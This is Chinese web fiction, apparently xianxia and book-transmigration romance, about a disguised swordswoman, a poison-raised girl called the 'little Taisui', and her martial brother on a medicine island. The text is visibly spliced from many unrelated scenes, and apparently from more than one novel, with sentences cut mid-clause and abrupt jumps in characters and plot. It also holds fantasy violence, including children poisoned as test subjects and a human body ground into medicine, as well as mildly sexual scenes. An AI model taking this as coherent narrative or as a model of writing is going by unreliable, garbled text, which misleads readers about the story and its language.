此番前去碧海潮生千万不能暴露身份,一定要谨慎行事,否则下场真的会非常凄惨。 前路莫测,不免让人心中忧虑。 昏暗的烛光里,谢衡之低头看向手中的剑。 再次耽误了祛除体内蛊毒的最佳时机。 陆子昂把新配好的药瓶递过去,鼻尖忽地动了动,神色渐趋古怪。 “你身上这味道” 他常年与药材打交道,嗅觉远比常人敏锐。 此刻,除却熟悉的血腥气与药草苦涩,竟有一道幽香丝丝缕缕缠在少年身上。 碧海潮生岛位于一片人迹罕至的神秘海域中。 从高空俯瞰下去,这个海岛的形状很像连绵起伏的波浪,周围又是碧绿碧绿的海水,所以叫碧海潮生岛。 碧海潮生来了六位弟子给他们引路。和裴怀璟分别的这二十年,风霜刀剑,朔风凛凛,只有细雪常伴身侧。 她的命运已经和手中的剑牵系在一起,再也不能分割。 生也是剑,死也是剑。 借着烛光对着爱剑看了又看,谢衡之这才重新给爱剑乔装打扮。 但凡名剑大多惹眼,先前剑柄总是用布包着,又被裴怀璟拿着烤野鸡,一番烟熏火燎下来,爱剑不禁变得面目全非。 此时即将入岛,这些细枝末节都得注意着,一定要谨慎再谨慎,小心再小心。 谢衡之将寒玉剑柄套上一层金属外壳,又拿出特制的涂料,将寒光湛湛的剑身涂暗了一个颜色,一番加工之后,寒光湛湛剑光逼人的爱剑看上去终于像一把普普通通平平无奇的剑了。 这些弟子们给他们一人发了一瓶避毒丹,一位年长的男弟子叮嘱道:“岛上瘴气有毒,这避毒丹一日一次,进了岛莫要乱走,这里毒物众多,外人进来一不小心就会丢了性命。” 船老大石烈是个四十岁的汉子,平时看起来凶狠野蛮,此刻笑得一脸憨厚,忙不迭地说道:“是是是,我们一定记得。” 一行人跟在这些弟子身后,沿着窄窄的石子小路穿过密林后,眼前豁然开朗,出现了一片精巧的屋舍。 这边是碧海潮生安置往来客商的住所,船老大显然已经来了许多次,轻车熟路地从荷包里掏出一些银钱塞给这六名引路的弟子。 “在岛上这段时间,还请各位小哥多多关照了。” 接了钱,这几名弟子的面色顿时一缓,言语之间也不再那么冰冷无情。 那年长的弟子语气和缓地说道:“有心了,在岛上有什么需要跟我们说就是了,若没有其他事,我们就不打扰了。” 这年长的弟子刚要走,裴怀璟立刻喊住了他. 她热情一笑,也学船老大从袖口里掏出一锭银子放在这名弟子的手心里。 “哥哥好,我和妹妹是来岛上求医的,初次登临贵岛难免人生地不熟,还请哥哥帮帮忙。” 手中的银子很有分量,年长弟子的语气变得更加和缓了。 “去治病得去医宫,有时间的医者会在医宫门口挂上自己的牌子,价格都写在牌子上,你二人去医宫拿牌子就是了。” 裴怀璟又笑眯眯的往他手里塞了一锭银子,“多谢哥哥,还请哥哥帮忙引路了,对了,还不知哥哥怎么称呼暖。” 这位弟子笑得更加和煦了,“好说好说,在下姓徐,单名一个清字,清是清风徐来的清。” 裴怀璟立刻抱拳说道:“原来是徐清大哥。” 两人一路上说说笑笑,谢衡之像只鹌鹑似的跟在裴怀璟身后,对挚友的社交能力佩服的五体投地。 “碧海潮生有四宫,分别是丹宫,医宫,药宫,商宫。” “丹宫炼丹,医宫医人,药宫管理药材,商宫负责日常大小事物。” 裴怀璟说道:“徐清大哥,我中的毒有点奇怪,一般人恐怕看不好,冒昧的请教一下,除了岛主之外,这岛上还有谁医术最好?” 徐清答道:“我们岛主一共有五位弟子,什么都会一点,大师兄善于用毒,二师兄精通丹道,三师兄和四师姐精通医术。” 说到这里,徐清就不往下说了。 裴怀璟觉得奇怪,“徐清大哥,那岛主的第五位弟子呢?” 徐清摇摇头,“小太岁什么都会,而且造诣颇深,最得岛主宠爱,只是性情冷漠,一向深居简出,我们这些寻常弟子很少能见到她。” 一直跟在裴怀璟身后的谢衡之顿时愣住了。 作为一个将原著一字不漏全都看完的人,她从来没听说过什么小太岁。 而且这个时间段,正是女主羽落清刚被收为弟子的时候。 再是开金手指,也不可能在这么短的时间内就得医仙真传,还造诣颇深吧? 原著中,碧海潮生岛的岛主月扶疏确实有五个弟子。像透了那位金尊玉贵的大小姐身上的。 裴怀璟不动声色拢了拢衣袖,腕间那抹异样的香气随之隐得更深。 他抬眼,不着痕迹地岔开话题,声音听不出波澜,“猫呢?” “就这么多。”温晚笙耸耸肩,“你看能买张芝麻饼不?” 她常年在山上修行,吃喝用的皆是灵石,怎会有银子。 这几枚铜子还是她在院子里刨土的时候挖到的。也不知是哪个小孩干的恶作剧,左右就当便宜她了。 “姑娘您这……只怕是不行。”狐妖脑袋咕嘟咕嘟地滚落下来,停在她脚边,死不瞑目地盯着她。 温晚笙下意识抖了一下。 她现在这个情况要不要逃啊,这家伙能攻击到她吗,这要是死在梦境中了怎么办,现实中会不会也一起死掉啊! 坐在“山上”的少年似乎发现了她的存在,低头看了过来。 他生的和裴怀璟有一模一样,可周身气质却完全不同,师兄是阳光的,温暖的,而这家伙从骨子里就带着股死亡的阴冷味道。 温晚笙僵硬地站在原地,一时间不知该如何是好。 坐在山顶上的那人就这样沉默地盯了她好一会儿,正当温晚笙疑心他是不是中了什么法咒的时候,那人竟直接消失在了原地。 她心中一惊,刚想逃跑,下一瞬就有一道人影出现她面前拦住了她的去路。 黑衣少年轻轻松松按住她的肩膀把她掰过来,一错不错地盯着她看,好像能在她头上盯出朵花来似的。 少年垂下眸子看她,目光阴冷又露骨,看的她起了一身的鸡皮疙瘩。 不一样。[蕊蕊花开:温晚笙!你有在听吗,你居然敢不回我,你死定了!] 她无视了童蕊的质问,将注意力放在她所说的梦魇上。 梦魇是一种低阶妖兽,实力只有练气初期,像温晚笙这种的可以一个打十个。最大的问题就是他们过分狡猾,从来都是背后袭击,而且还经常被一些剑走偏锋的魔修炼成精神攻击的法器,可谓是防不胜防。 难道师兄被魔修用这种法器攻击了,所以被困在梦中了? 她摸着下巴思索一番,捏过裴怀璟的下巴强迫他转过来,然后开始研究他的耳朵。 “确实有点黑,我还以为是被泥巴弄脏的呢。” 不过,这灵心术毕竟是高阶法术,对施术者要求很好,童蕊是合笙宗弟子,灵心术和她的修炼体系相符合,所以她用起来没有一点难度。 但温晚笙不同,她只在前世学过一些皮毛,并未真正使用过。 若是用的好,她可能会暴露自己重生者的身份,若是用的不好,她极有可能会永远困在裴怀璟的梦里。 而且这施咒的方法还有点说不上的尴尬,而且她也不太确定裴怀璟是不是没困在梦魇中了。 但 她垂下眸子,目光凝在少年晚俊的侧脸上。 “算了算了,就当是我欠你的。” 温晚笙不再犹豫,直接捏住他的下巴,朝他微抿的双唇狠狠咬了下去。 “赌一把!” 虽然两个人长得一模一样,但是她几乎可以确定,这人不是自己认识的那个裴怀璟。 他不动,她也不敢动,二人就这样僵持着。不过是温晚笙单方面僵硬,他好像很享受这种状态。 半晌,少年突然低下头,在她的脖颈间贴着嗅了嗅。 “这样啊。”她倒也不在意,动作自然地把铜板又捞回去,“那就给我来杯水吧。” “小妹儿,莫不是没钱了,要不要哥哥请你?” 男子粗犷的声音自斜后方响起,温晚笙侧目望去,同一名络腮胡子的大汉对上视线。 美人回眸更是惹人心头发痒,男子压下心底按捺不住的兴奋,上前两步:“哥哥也不要你做什么,你就陪哥吃顿饭就行。” 这话说是请求,但实际上他的手已经快要摸上温晚笙的肩膀了。 温晚笙轻易避开,向后两步与他拉开距离,有些不耐地瞪着他:“你干什么。” 明媚少女梗着脖子眸子总里有股说不晚道不明的劲儿,瞧得他心头更热,连带着语速也快了几分。 “哥这不是瞧你一个人在外可怜嘛。你要找的人估计今晚也到不了了,不然你和哥哥回家呗。” 因为裴怀璟这档子破事,温晚笙心里烦得很,现在又来个人在她面前叭叭,真恨不得一板凳飞过去算了。 不行,要冷静,眼前这位是凡人,作为修士是不能殴打凡人的,这是规定。 她深吸几口气,勉强挤出一个微笑:“抱歉,不用,我的夫君马上就到。” 本意是想让对方知难而退,没想到他听到这句话反倒笑了,络腮胡子上下抖动:“夫君?别糊弄哥了,就你这毛还没长齐的小片妞儿?” 大汉显然是这一片的混混头子,欺男霸女惯了,也不将温晚笙的警告放在眼里,眼瞅着他那只油腻的大手就要碰到自己的裙摆,她赶紧向旁边避让,却不料踩到了自己的裙摆,险些就要摔倒—— “小心些。” 温晚笙没有如想象般砸到地上,而是被某人托住了手臂,稳稳扶回了原位。 他一只手自然而然地揽过她的肩膀,将她整个人圈在怀中。熟悉的冷松香钻入鼻腔,叫她整个人都僵硬了起来。 这是个极暧昧的姿势。 翌日,温晚笙知道了少年的打算。他迟迟不退位,就是想知道她的意愿,而今得了答案,毫不迟疑。 登基大典很快便举行。 温晚笙见到了那位小公主,新的帝王。 她看起来不过七八岁,瞧着却比裴怀璟还要靠谱沉稳。 本以为会横加阻拦的宋大将军,也毫无怨言,像是早就知晓此事。 尘埃落定之后,温晚笙晃了晃他们在衣袖之下被铐在一起的手,漾起笑意。 “走吧,带你去楚国。” “好。” 第 119 章 第 119 章 马车骨碌碌开着。 温晚笙被抱坐在腿上,整个人悠悠荡荡。 她一个清心寡欲的人,现在被勾得掐住少年的小臂,贴着他的唇溢出声响。 “停快到了。” 马车慢了下来,应该是在排队进城。在下车之前,她肯定得先缓一会儿。 裴怀璟骤然被推开,黑瞳里浮起淡淡苦楚,“以往二小姐都会主动亲我,而今却” 他欲言又止,温晚笙看着他红润的唇,猜到了他要说什么。真是料不到,他现在无利可图了,竟然还是会茶茶的。 真可爱。 “没良心的家伙。”温晚笙晃了晃锁着他们的链子,故作恼怒, “我就是拒绝了你一次而已。” 赶路的这几天,她看书,他要亲,她看风景,他要亲,她画画,他要亲,她睡觉,他要亲 她都依了他。 可回到现代怎么办?要是他这个毛病还好不了,她得想办法,挖掘出他其他兴趣爱好。 “没多少,赚点小钱嘛。相比之下,你要不要先看看我给你的东西。” 他用敢骗我你就死定了的眼神瞪了裴怀璟一眼,随后往玉石中注入灵力。 见她来,颜胥抬起头,对她笑笑。 “你来了。”她挪动身子,锁链发出晚脆的响声,“昨天替你解掉噬情蛊后你就昏过去了,还没来得及谢你。那场梦很好,我很满意。” “监天司的人怎么说?”杜榆虽然依旧端着张冰块脸,但眼底的兴奋已快要压抑不住,喘气声都急促了不少:“好,好材料,用来铸防御法器再好不过。” “也没费多大劲,我本来只是去那里接个悬赏的,刚好碰到两只魔兽在决斗,火灵玉石就放旁边呢,我就直接上前渔翁得利了。”裴怀璟满不在乎地翘起二郎腿,一摊手,“怎么,大铸剑师对此可还满意啊?” 杜榆没回复他,整个心都扑到了这来之不易的宝贝材料上去。 嘴里还念念有词,肩膀抖个不停,时不时发出一点恶心的嘿嘿声。 完全没有一点之前那个白发晚冷谪仙人的样子。 不过裴怀璟对此早已习惯,他现在只是有点后悔自己怎么没带留影石过来,把好友这副样子录下来放到交易区去售卖,一定能吸引不少崇拜他的女修购买。 “得了得了,这玩意可不是免费的。这块是窥心镜的人情,至于这块”裴怀璟一个箭步窜到他跟前将玉石夺过,趁他还未反应过来便迅速将它收回了乾坤袋里,对他挑眉,“你要是想要,得拿东西来换。” “又是灵石?”手中一空,杜榆整个人周边的气场再次冷了下来,又恢复了从前的样子。 “这次不是。”少年摆摆手指,优哉游哉地打了个哈欠,“我也不知道具体要什么,你就看着给呗。” 杜榆沉吟片刻,将自己的乾坤袋打开,哗啦啦地倒出不少东西。 他饶有兴趣地在堆成小山的法器边蹲下,东瞧瞧西看看,随后拿起一面窥心镜照了照。 “唉,你这里有没有能弄明白女孩子在想什么的东西。”裴怀璟将窥心镜扔到一边,突然打了个喷嚏。 “说是回仙盟以后再提审定罪。我估摸着我死罪可免活罪难逃,无所谓了。”颜胥耸耸肩,修长的手指在下巴上点了点,“我家里应当还有一些银票和灵石,你替我转交给李大昆和符汇,就说是我补偿他们的。 至于你若是不嫌弃的话,我屋子后面的百亩药田就送给你了。” 她垂下眼眸,声音很轻:“我为一己私欲伤了太多人,得去赎罪。” 马车用力颠簸一下,门外传来青年的咳嗽声,温晚笙知道时间已经不多。 “颜胥。” 她突然向前一步,迅速捂住对方的手,又马上松开。 颜胥刚想询问,就见掌心多了一簇小小的火苗,虽不大,却足矣照亮整个漆黑的牢狱。 “夜寒露重,拿着取暖。” 温晚笙拍拍裙子站起,漫不经心地走到马车门前,回头看向她。 “还记得我们的赌约吗?” “记得。” “你说是你赢了还是我赢了?” “都赢了,算是打个平手。” 随口定下的赌约以意想不到的方式达成,也以极其出乎意料的方法兑现了筹码。 二人对视一眼,勾起唇角。 笑里有些惺惺相惜的味道。 “后会有期。” “后会有期。” 车辙轨迹不断向前延伸,直至云端。 师妹生气了。 这是裴怀璟拉着杜榆彻夜长谈之后得出的结论。 镜珠对面的青年顶着一双熊猫眼,其中无数次想蹦起来捏爆他的狗头,但碍于镜珠暂时还没有隔空打人的功能,于是又强迫自己重新坐回去。 “那你就去道歉啊!”杜榆猛抓一把头发,把木材一脚踹到剑炉里,想象这是裴怀璟的头,“道歉会不会,你憋告诉我你不懂什么叫道歉,面对面说不出口你就到镜珠上去说!不会说你就给灵石,谁他娘的会和钱过不去啊!” 气的他口音都出来了。 裴怀璟歪着头听他讲,非常认真:“可我没有她的镜珠号啊。” 杜榆嘴角抽搐,合着他刚刚说了那么多都白说了。“师父啊~师父~” 黎安在将自己一整个搭在院内桂花树的树干上,扮演自挂东南枝,百无聊赖地嘟囔。 “我都十九了……半年后就要弱冠了,十六七岁的师弟师妹都开始接他们第一个任务了,我怎么还不能出师啊!” 初秋微凉的清风一吹,带来桂花馥郁的香气,轻柔地抚在少年的鼻尖,几朵桂花从树上纷纷垂落,落在黎安在的衣襟边,将整个人都染满桂花的香气。 扎在脑后的头发被一根红绳高高束起,随着微风浮动,红绳被吹到身前,清澈的晨光洒进院子中,温柔地簇拥着他,少年皮肤白皙,唇红齿白,一双杏眼明眸善睐,顾盼生辉。 “师父师父师父……你在不在听呀?” 黎安在自挂东南枝失败,身子轻盈一翻,从树上跳到地下,足尖轻点,落在一地金黄的桂花中,他伸手去摇晃树下倚在树干上装死的大叔。 郑长柏胡子拉碴,上衣的领口大开,左襟右襟随意一交叠,就当是穿好了衣服。以免嘴唇被啃坏。 裴怀璟幽幽道:“两次,昨日也” 没等他说完,温晚笙启唇,不客气地一口咬住他的耳垂。 少年喘息一声,不再怨,而是道:“二小姐,用力” 他一边说,一边抓住她的手,往自己凌乱的衣裳里面放。 铁链撞到胸膛,让底下的肌肤发红。 温晚笙唇齿碾磨着他的耳垂,没有躲开,反而往他心口摸去。 他确实有听话,没再做出什么傻事,以前的疤也只剩下了浅浅的痕迹,可惜就是可能一辈子消不掉了。 温晚笙胡乱捏了一把,直到他的耳垂变得和其他地方一样红,方才停下。 “再用力就破了。”她顿了顿,故意在他耳边吹了口气,“宝宝。” 少女声音刻意放轻,比平常还温柔。裴怀璟眼泛水光,耳垂贴上她的唇。 “我想被二小姐弄破。” 待人一走,温晚笙再也憋不住,捂着肚子蹲在地上放声大笑起来。 裴怀璟把袖子杵到她面前,啧啧两声:“你看你弄的,我这胳膊上全是。” “这不是权宜之计嘛,不然挤两滴眼泪他怎么会信。”温晚笙借着他的胳膊站起来,顺手给他施了个晚洁咒,“对了师兄,我有件事得和你说。” 她将腰间葫芦取下来,放在桌子上。 “我把颜胥带来了。” 裴怀璟眼睛瞬间瞪圆,她赶紧眼疾手快地按住他安抚:“不是本人,就是一部分残魂,她想亲自来看看柳长风现在变什么样了。 所以你待会儿悠着点,可千万别和他做什么太亲密的事。”她怕颜胥一个不高兴把他们全杀了。 “还能做什么亲密?陪他如厕么?”他摸着下巴低喃,“我看他手脚没问题,应该不需要我扶着。” 温晚笙哽住:“算了。” 反正有她在旁边看着,应该不会出什么大事。 二人一壶茶还没喝完,木门再次被推开。 这次来的不是小厮也不是龟公,是玉柳公子本人。 他换了一身新衣,头发上身上湿气,周身还有淡淡桂花香,应该是刚沐浴归来,却依旧系着面纱,缓缓走向他们。 温晚笙一脸警惕地看着他。 她想,就算这家伙长得好看又怎么样,他要敢对师兄动手动脚,她就敢放火烧鸡! 玉柳公子在他们面前站定,嘴唇蠕动,浑身止不住地颤抖。 紧接着扑通一声跪下,死死抱住裴怀璟的腿不放。 “仙人啊!恁可得救俺啊!” 温晚笙眼疾手快地把人踢到一边,同时剜他一眼。 裴怀璟则是饶有兴趣地看着他。 她丢了好久的耳坠,竟然在这里。还有好几支簪子,和好几条手链。 她拉开最下面的抽屉,又是一怔。 好多幅画,好多个她,整整齐齐地摆在里头。 她猜出了什么,一颗心砰砰作响,几乎要撞破胸腔,不该再看。 她往旁边走了两步,又看见了来福的窝,旁边放着几只她常逗猫玩的小布球。 应该感到毛骨悚然的,被这样窥探,被这样收藏,被这样记住。 可是这里,竟然并不吓人,反而透着诡异的温馨。 这场盛大的梳笼宴就在这枚绣花妃色香囊中落下了帷幕。 没办法,人玉柳公子都放话了,愿意一分钱也不收就给人白嫖,他们这些做下人能怎么办,就是鸨母也不敢硬来,万一惹不高兴了花魁三二一往下跳,这才是得不偿失。 只能打落牙往肚里咽,眼睁睁看着五千两黄金打水漂。 一个穿着晚凉的青年提着灯给他们引路,温晚笙在后头拍葫芦。 从进入怜春楼以后颜胥就安静了下来,一点动静都没有,若不是她身上的噬情蛊依旧被压制的好好的完全没有发作,她都要误以为颜胥已经溜走了。 那她刚刚为什么没有反应。 你前夫在外面表白男人唉,要是她她早就跳脚了,一大耳刮子招过去,总而言之不会那么平静地跟在小厮身后踩着灯笼影子走,时不时还要回答一下师兄那些令她感到无语的问题。 “晚笙晚笙。”裴怀璟凑在她耳边压低声音,用只有他们两个人听得见的音调问,“何谓共赴巫山。” 温晚笙没声好气地白他一眼:“就是他要和你睡觉。” “睡便睡罢,都是男子,这倒是无所谓。” 见他如此,温晚笙脸色更加古怪:“你居然能接受?” 反正她接受不了,她无法想象师兄和一个男子做这种事的样子,就算是在上面不!在上面也不行,她一定会忍不住拿刀把他阉了。 “为什么不能。” 他眼神晚亮如明镜,将她的模样明明白白映在其中,倒显得她龌龊。 温晚笙口干舌燥,忽然意识到他这人心若琉璃根本就不懂床上那档子事。 可一时半会儿地又不知改怎么解释,生怕被前面引路的小厮听到,只好拉着他的衣领往下一压,凑在他脸颊边咬耳朵: “反正,反正不是你想的那样,这不是简单的睡觉,是要脱衣服的。” 少年侧目看她。不过炸裂归炸裂,这正事还是要做的。 温晚笙揉揉脸,试图让面部表情自然一些,然后同手同脚地往青楼走。 才走两步,就被人拉住袖子。 裴怀璟站在她身后一步的距离,把她从头打量到脚,一本正经地摇摇头:“你这身不行。” “这有什么不行的。”她颇为不服地把袖子扯出来,“我这一身怎么你了,我昨天刚洗的澡,又不脏。” 阳无尘可不爱听这话,他瞥了柳飞叶一眼,似笑非笑:“哟,跟蓉蓉这丫头比自然是不差,可是比起仙居殿的那位小太岁,可是差了不少啊。” 柳飞叶笑容顿时一顿,表情有些不太自在,“好端端的,提那个煞星做什么?” 阳无尘看戏似的说道:“戳到你痛处了?”裴怀璟和谢衡之闲着没事,跟着姚蓉蓉去了丹宫,丹宫宫主阳无尘正拿着药碾子磨药,一张约三米长两米宽的大木桌上摆满了各种草药,还有一些色彩艳丽的蜘蛛和蝎子在桌子上爬来爬去。 “蓉蓉丫头怎么过来了?” 阳无尘抬起脸,脸上黑一道黄一道,像个人脸大老虎似的,冷不丁就把人吓一跳。 姚蓉蓉有些扭捏地说道:“我想问问,小太岁炼出的那种阴阳九转生死丹有没有什么秘诀和窍门,一颗丹药居然能出现阴阳两极的图案,看起来真漂亮。” 阳无尘摸着胡子笑道:“她的炼丹术啊,有一半是我教的,你是问对人喽。” 一只五彩斑斓的大蜘蛛爬到裴怀璟脚边,裴怀璟嘴角一抽不着痕迹地躲了一下,一旁的姚蓉蓉好奇地问:“可是小太岁一直住在仙居殿,她的炼丹术不应该是从我师尊那里学来的吗?” 阳无尘摇头:“她在地宫那阵子,我就教她炼丹术了,炼丹师看见好苗子就忍不住手痒啊。” 阳无尘回忆道:“那时候,她才五岁” 五岁成为试药工具被送往碧海潮生后,温晚笙在碧海潮生的地宫里待了五年。 从五岁到十岁,温晚笙都是在地宫里度过的。 阳无尘和地宫里的弟子们不怎么约束这些药童,药人的寿命都很短,基本活不过长,像温晚笙这种眼睛都变了颜色的药人,更是活不过十二岁。 因为她实在长得玲珑剔透玉雪可爱,药宫宫主戚海棠也很喜欢她,她和阳无尘一样,时不时给她带点小女孩喜欢的小玩意。 温晚笙不止眼睛变了颜色,她七岁那年突然晕倒,戚海棠使用刺血术为她医治时,发现她的血液也因为各种剧毒变成了紫色。 戚海棠急忙找到阳无尘:“再养几年,等这血变成黑色,说不定就是千年难求的毒太岁了!” 太岁——又名肉灵芝。 根据李时珍《本草纲目》记载:“肉芝状如肉。附于大石,头尾具有,乃生物也。赤者如珊瑚,白者如脂肪,黑者如泽漆,青者如翠羽,黄者如紫金,皆光明洞彻如坚冰也” 太岁可食用,入药。 至于毒太岁,就是人形的肉灵芝,因为带着剧毒,所以叫毒太岁。把毒太岁投入药鼎,去发剥皮,五脏六腑连着四肢骨骼一起碾碎,混着血与骨的肉泥就成了一味珍惜无比的奇药。 毒太岁是毒药,也是补药。 只需一点点,就可以顷刻间毒死一头大象,也可以和其他珍稀药材搭配,练就一味起死回生延年益寿的十全大补丸。 这可是比千年肉灵芝更加珍贵的东西,只在很古老久远的医书中有过记载,是历代神医梦寐以求的神药。 正因如此,连月扶疏都被惊动,屈尊降贵地来到了地宫里。 这些年,阳无尘看着她长大,看着她哭过,骂过,闹过,最后那些激烈的情绪在她紫色的眼睛中逐渐凝实,变成了一种近乎无情的漠然。 她一直喜欢来地宫里看医书,那些医书看完了一本又一本,有些书放的太高,她小小的个头够不到。 阳无尘还特地在书房里放了一个木梯子,见她年纪小看书不方便,阳无尘还给她做了一把小椅子放在旁边,温晚笙一看就是一整天。 有时候阳无尘也会好奇,“小太岁,你能看得懂么?” 坐在椅子上的小女孩皱了皱眉头,把手中的书翻过一页,稚嫩的声音透着股恹恹的情绪,“能看懂。” 阳无尘很惊奇,脸上橘黑相间的花纹都因为惊讶而张开了。 正震惊的时候,站在椅子上的温晚笙正把白糖碾碎,往毒丸上裹糖霜。 碧海潮生的神通数不胜数,随便一个弟子放出去都是世间难寻的神医。然而能在七岁炼出一味完整毒药的孩童仍是少之又少,他不禁哑然,过了好一会才说道。 “你这小孩,脑子里都想些什么?不过嘛,那些书倒也没白看。” 药鼎里还残存了一些药渣,阳无尘从衣袖里掏出一个巴掌大小的白玉药鼎,打开盖子抖出两条血红色的虫子。 那两条血红色的虫子在那堆黑漆漆的药渣上蠕动,不一会就把毒药吃了个精光。 稚嫩的童声在炼药房里响起,“这是什么?” 阳无尘一转头,就见小女孩额前的碎发被汗水打湿,黏在苍白的额头上。 一条穿插着浅紫色发带编成的辫子垂在脑后,一双紫葡萄似的眼睛好奇地看着鼎里的虫子。 阳无尘又怪笑了两声:“火蚕,喂得胖胖的再给你吃,等你吃了这两条火蚕还不死,就是真正的小太岁了。” 温晚笙十岁那年,其中一条火蚕配着其他罕见毒物被阳无尘一起炖了,历经四十九天,药性被完全熬炼出来,炖出了一碗奶白色的汤。 喝下这碗汤的第二天,温晚笙的血变成了极深极深的紫色,已经无限接近黑色。和她一起来地宫的女孩们都一个接一个的死去了,坐在天窗下等光来的女孩最后只剩下她和一个叫小瓷的女娃娃。 第二条火蚕被炖汤后,温晚笙成为了真正的小太岁,那个叫小瓷的女娃娃也死去了。 与此同时,她也成为了月扶疏的第五位弟子。 那高贵冷淡的月扶疏,那如谪仙般白衣飘飘的神秘医仙,恍若苍穹上的一轮冷月。他对她悉心教导,关怀备至,宠爱至极,将他一身本领倾囊相授。 阳无尘没说小太岁这个称呼的由来,这是碧海潮生的机密,他只捡了些不要紧的事同她们说了,姚蓉蓉听得专注,裴怀璟和谢衡之听得五味杂陈。 姚蓉蓉说道:“她如今地位尊崇,碧海潮生的所有人见了她都要行礼问候,从前受的苦也值了。” 阳无尘听了只能苦笑,不知道若是温晚笙听了姚蓉蓉这番话会作何感想。 那小丫头确实不再是那个小小的、卑微的、在地宫里哭哑了嗓子都没人理会的小可怜了。 她得天独厚。 街上喧闹不休。温晚笙带着裴怀璟避开人群,去了城外一片相对清静的林子赏星赏月。 裴怀璟今天话不多。温晚笙不由问,“怎么了,不开心吗?”他一直想陪她看星星来着。 裴怀璟道了声没事,可在她再三追问之下,终究还是开了口。 “那年今日,我们分开了。” 温晚笙心口微微一滞。 她步伐一顿,拉着他的手停了下来。 裴怀璟说道:“你知道书中的男主四号是个艳鬼吧?” “艳鬼绛卿,名剑浮光,具有勾魂夺魄之姿,惊鬼泣神之剑,他本是百年前的绝世天骄,死后百年突然诈尸,羽落清的手下逼我下墓去找那把浮光剑,一番打斗后我种了他的尸毒,如果再不解毒,我的时间就不多了。” 她言简意赅地将事情的经过说完就撸起袖子,露出了布满黑色纹路的手臂,“我是来求医的,这种尸毒你能解么?” 温晚笙对着她的手臂看了一会,半晌后慢悠悠的问道:“我为什么要给你解毒,就凭你是穿书者?” 有些时候老乡见老乡两眼泪汪汪,有时候见老乡,老乡能坑死你。 穿书之前她们是象牙塔中的少女,穿书之后她们活在一片危险的丛林里,有时候是猎物,有时候是猎人。 裴怀璟说道:“你不想离开碧海潮生吗?” 温晚笙的目光望向远处斜阳,淡淡说道:“说的好像你能带我离开似的。” 裴怀璟又说道:“你又怎么知道我不会带你离开,三个臭皮匠赛过诸葛亮,你有你的长处,我们也有我们的长处,齐心协力共同筹谋,未必不能成功。” 他把小鼎架在铁架上,拿着火折子把底下的木柴点燃,开始热鼎。 一旁是放着药材的架子,温晚笙挑拣了一会,拿着几味药走了过来。阳无尘看着她捣腾,时不时念叨两句。 “双尾毒蝎,九转毒蟾,人面花,鹤顶蜘蛛,干草,陈皮,半枝莲,生姜,芥末,鸡蛋清,半斤白砂糖” 阳无尘疑惑:“你放这么多糖作甚?”姚蓉蓉往手上贴了一剂清热解毒的膏药,玉笙居位置偏僻,一直没什么人来,夏季里屋子闷热,三个人索性在凉亭里坐下闲聊。 凉亭位于小湖中央,谢衡之带着易容面具,抱着手里的剑坐在凉亭里看水面上的鸳鸯戏水。 自从羽落清的暗卫廿九出现后,谢衡之终于换掉了那身辨识度极高的粗布白衣,穿上了姚蓉蓉送她的一套粉色衣裙。 她脸上还带着易容面具,样貌普普通通,但她常年练剑身段极好,换上一身粉裙后,姚蓉蓉都看呆了。 裴怀璟还是那副打扮,头戴白玉环抹额,穿着一身黑色男装,手里拿着一只古朴的竹笛耍来耍去。 羽落清在小太岁那里吃瘪,这让姚蓉蓉很是高兴,她满足地眯了眯眼睛,说道:“你们知道吗,当我转头看见她的那一刻,所有东西都被我抛到九霄云外眼里,脑子里只剩下那张脸。” 谢衡之心有余悸地点点头:“我也是。” 裴怀璟也心有余悸地点了下头:“我也一样,美得我头皮发麻,你师尊天天对着这么个小仙女,他脑子里就不会冒出点什么想法吗?” 姚蓉蓉做贼似的往四周看了一圈,往前挪了挪身下的圆凳,这才把脑袋凑近她们,小声说道:“我也想过,但是你们两个知道的,我是个尊师重道的徒弟!” 尊师重道也抵不住人们热爱吃瓜的天性。 要放在没穿越之前,她们这两个看破文的破看文的估计已经脑补出一篇霸总圈养金丝雀的强娶豪夺文,或者是充满禁忌感和背德感的清冷师徒恋。 穿书之后,她们都变得现实了,书中的世界太残酷了 ,任何满是黄色废料的思想都会怦然坠地。 她们两个的问题姚蓉蓉解不了,阳无尘也无可奈何,月扶疏就别想了,谢衡之身上那种世代相传的蛊虫还是碧海潮生亲自研发的呢,找他就是找死。 眼下只有小太岁有可能争取。 温晚笙皱眉:“你练得那些毒丸难吃死了。” 阳无尘面色微微尴尬,看着温晚笙把这些东西依次放入鼎里开始熬炼。 第一次跟着阳无尘配药炼药,温晚笙成功炼出了常吃的毒丸,因为放了半斤白糖,吃起来很甜很甜。 阳无尘惊讶极了,他原本只是看着小孩胡闹,也不指望一个七岁的孩童能炼出什么东西来。 唇瓣被厮磨得逐渐发麻,倒不疼。 屏风后的温晚笙撩起被细雨打湿的发丝,正要脱下白色云纹曳地裙,屏风后却突然响起一声轻咳,提醒她有人来了。 她捂着胸口转过身,隔着屏风与那她那谪仙似的师尊对望。 透过薄雾似的雪蚕纱屏风看东西,入眼的一切都朦朦胧胧,犹如雾里看花。 从窗外传来的细雨声中,一道雪白身影立在那,姿容绝滟,青丝如墨,气韵高洁如皓雪一般。 歹毒的心肠,绝世的姿容,这就是医仙月扶疏。 温晚笙看见他谪仙般的师尊别过头,脱下了身上的大氅扔过来。 一阵风声过后,雪白的大氅挂在屏风上垂落下来,将后面裸露着上半身的少女遮挡的严严实实。 温晚笙扯下大氅披在身上,随意地拢了拢,穿着来不及换下的湿透鞋袜从屏风后走了出来。 她坦坦荡荡,没有一丝少女的羞赧,淋雨后的脸有种霜雪般的色泽,看得人倒吸冷气。 她懒洋洋地站在屏风旁说道:“师尊怎么来了?” 月扶疏背对着她,站在小轩窗前低头看着那朵被雨淋湿的白色花苞。 好眼光。但是 “我不是说了吗,别乱动我的东西!” 少年低声道歉,可温晚笙毫不留情地道:“天快黑了,你走吧,从后门走。” 裴怀璟薄唇紧抿。 她的话本子里,有一行字,他记得清楚。 月扶疏喜静,身为碧海潮生的岛主,他独占了整整一座山做他的华美宫殿。 宫殿名叫广寒宫,是上一任岛主取的名字。 “以后不会了。”她认真地承诺,“往后的每个七夕,我们都会一起过。” “嗯反正只要你不抛下我,我就不会抛下你。” 她一连串说了很多,最后又问:“这就是你今天一直不跟我说七夕快乐的原因吗?” 裴怀璟‘嗯’了一声。 “今天可是情人节唉,你这样闷闷不乐的,会让我怀疑你不喜欢我。” “七夕快乐。”裴怀璟几乎立刻开口,生怕晚了一瞬她就会真的怀疑,“我爱你。” 他顿了顿,又补充,“只爱你。” 少年透彻的黑眸像一汪清泉,也像一簇火苗。 